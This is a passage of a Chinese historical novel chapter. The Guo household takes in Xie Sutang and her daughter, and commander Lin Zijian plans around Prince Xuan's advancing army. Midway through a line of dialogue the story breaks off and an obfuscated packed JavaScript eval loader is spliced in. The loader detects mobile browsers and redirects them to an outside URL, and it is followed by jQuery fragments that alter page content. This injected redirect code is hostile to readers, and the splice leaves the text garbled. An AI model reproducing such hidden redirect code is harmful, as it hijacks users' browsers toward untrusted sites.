郭府，此刻与谢府不同，虽也忙碌，但静了许多。


    几丝天光掠过檐下，却模糊不堪，铺在房里一大一小两人身上，金粉陈身，良久未散。


    “灵禹。”大些人影为她擦着脸，披上烘过的衣裳，“你在瓦子里开的那家医馆如何了？”


    少女沉声开口，声音似昨夜未尽的清辉：“这几日病人倒是少了些，只是前日里有一人……”


    “怎么，是有胡搅蛮缠之辈？”他话里硬气，手上却是抓着篦头，抬起几缕青丝，由上自下梳着，手上熟练，轻柔缓和。


    郭灵禹打开桌上妆奁，凝眸镜中自己，拾起铅粉拭面：“不是，只是此人眉眼与我有几分相似，女儿有些在意。”


    脑后发上抚顺骤然一顿，郭灵禹目光抬起，透过镜子看着身后人影：“父亲？”


    他几分不自然，只是沉着头梳发，面色难察：“天下之大，貌相相似者繁多，不必记挂，倒是谢家母女约莫再有两刻钟便到了，你记得前去相迎。”


    郭灵禹点头，重又将目光放回自己面上，捻起胭脂兀自点唇：“女儿自是知道。”


    月弧还未完全褪去，隐隐在云间游走，纵然晚夏，夜色的丝丝微凉也仍入骨，今年的梅雨似是比去年的长，却又不如其烈，只丝丝绵绵阵阵阴云，无暴雨骤至，观这天色，只怕几天后还欠着一场雨。


    车驶过街，扰得一阵狗吠鸡鸣，缓缓停于郭府门口。


    “素棠！”郭丞安早候于外门，远远便是望见马车，待其停稳，忙伸手掀帘。


    “哥。”谢夫人把住郭丞安手臂，双目泛红，闪着泪光，身躯欲坠，似是在车里哭了一场。


    郭丞安怎会不清楚，昨日半夜谢宗聿便是书信来访，信中无多言，只一句话。


    “妻女予尔，务必护住。”


    他只打眼一瞧便知谢府难保，家主难活，自己这妹妹怜之入骨，如今一别又与生死相当，剜骨之痛，怎能不泣。


    郭丞安只无言捂住妹妹双手，拥进怀中，不停抚着仍抽搐颤动的单薄背脊。


    “郭叔……”谢清如亦是红着双眼，陪母亲在车里大哭了一场，却也是意识到事态急重，心中一直揣揣不安，“我是不是，回不去了？”


    郭丞安一把将谢清如也抱住，眉头皱成一团，面色难掩痛意：“你们娘俩，舅父护得住，护得住……”


    ……


    次日，清桥茶屋早早便是闭店，连门外的旌旗和牌子都是撤掉，仿若此间从未有过什么一般。


    里子更是换了样貌，没了小二与客人的呼声，只余些人影，兀自相商。


    “都统。”几道身影围坐案前，再无了往日的尘嚣，浮着静静的杀机，“昨夜便是传信宣王，城门将开，大军拔营，约莫三日后抵陵州。”


    林子笺盯着某处思着，略略点头，面上没几分情绪。


    “终于要结束了。”另一人后靠着椅背，长舒一气，似是放下万钧巨石，“快一整月了吧，这日子可真苦。”


    林子笺目光又移到他身上，面色无波，声音沉稳，但不怒自威：“这天下的苦都让你叫完了，那百姓叫什么，你可知以宣王的性子，这一城老小能留几个？”


    他前倾身子，离开椅背，默默坐正，脸上有些难堪。


    林子笺没多言，只是又盯着别处，眉头有些发皱，沉思几晌后便指着方才的小子：“今日夜里去郭府上，务必见到男人，告诉他‘护之，还之。’”


    他不解挠头，有些看不懂都统的心思：“既是想救人，何不趁这几日夜里偷偷送出城去？”


    林子笺站起身，走到门边拉开一半，让众人看着店外，不只清桥茶屋，这街上起码有五成的店家都是闭门关业，相较之前确是不甚合理。


    “谢府作为护城大族，却陡然门庭清冷，百姓都看在眼里，早已人心惶惶，此时带人逃走，若是被看见，大家必定蜂拥出城，宣王那倒无妨，只是赵胤那头，易打草惊蛇，引起反击，我们一月苦功尽弃，这个责，你来担？”


    他面现难堪，尴尬笑着，话里带着歉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323378|198930||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意：“都统说的是，是我考虑不周了。”


    “只消按我说的做便好。”林子笺也是侧头将一边目光放至门外，若是之前，此处离勾栏瓦肆近得很，街边已是咸集大小商贩，讨价吆喝不绝于耳，还偶有些争吵打骂，只是此时俱寂，再寻不到当时的烟火气。


    他本是个爱热闹的人，无论是陵州阅楼，还是胤都瓦子，他都乐意往人多处钻，在他看来，若是无几分烟火气，城便称不了城，顶多算是大些的单家院子，但他自己却是不擅应付这些人前的事，莫看他定谋划策时尽是巧劲，若是单拎出来放到这些摊贩面前还个价，怕是只能面红耳赤辩白几句。


    倒不是他心系苍生，只是小时没几个人陪过他，讨喜的法子没人教，这市井的喧闹，他有几分贪念。


    ……


    不日入秋，进了夜里，暑气消散，凉意浸人，寻常人家早已熄灯入眠，郭府此时却是达旦灯火，未有丝毫歇息的迹象。


    “素棠。”郭丞安将热茶倒满茶盏，氤氲着热气，塞到郭素棠手中，话里满是关切，“你早上过来便受了凉，这要是还熬夜，身子更是难好，早些休息吧，还有兄长在。”


    “哥，我不打紧的。”她呷一口热茶，好似暖了几分，面色多了几丝红润，“你快歇着吧，府上的下人遣的遣，散的散，这两天你照顾我们娘俩都累瘦了，若是被爹娘看见，又该叨我了。”


    郭丞安叹着，窗纸透出飘摇身影，似这一夜间便苍老了几岁。


    “我放心不下你和两个孩子。”他皱着眉，撑住额头，揉着太阳穴。


    郭素棠倾身抱住他的头，也是轻轻揉着，面上是难解的憔悴：“哥，不如我带着灵禹和清如连夜出城，现在宣军还未到，说不定还有一线生机。”


    “能逃到哪去？前有陵水，后有宣军，就算侥幸逃出，这天下以后怕都是那宣王的，你要带着两个孩子躲一辈子？”


    郭丞安怔怔摇头，心焦如焚。


    正一筹莫展之时，那外门却响起几声门环相叩之音。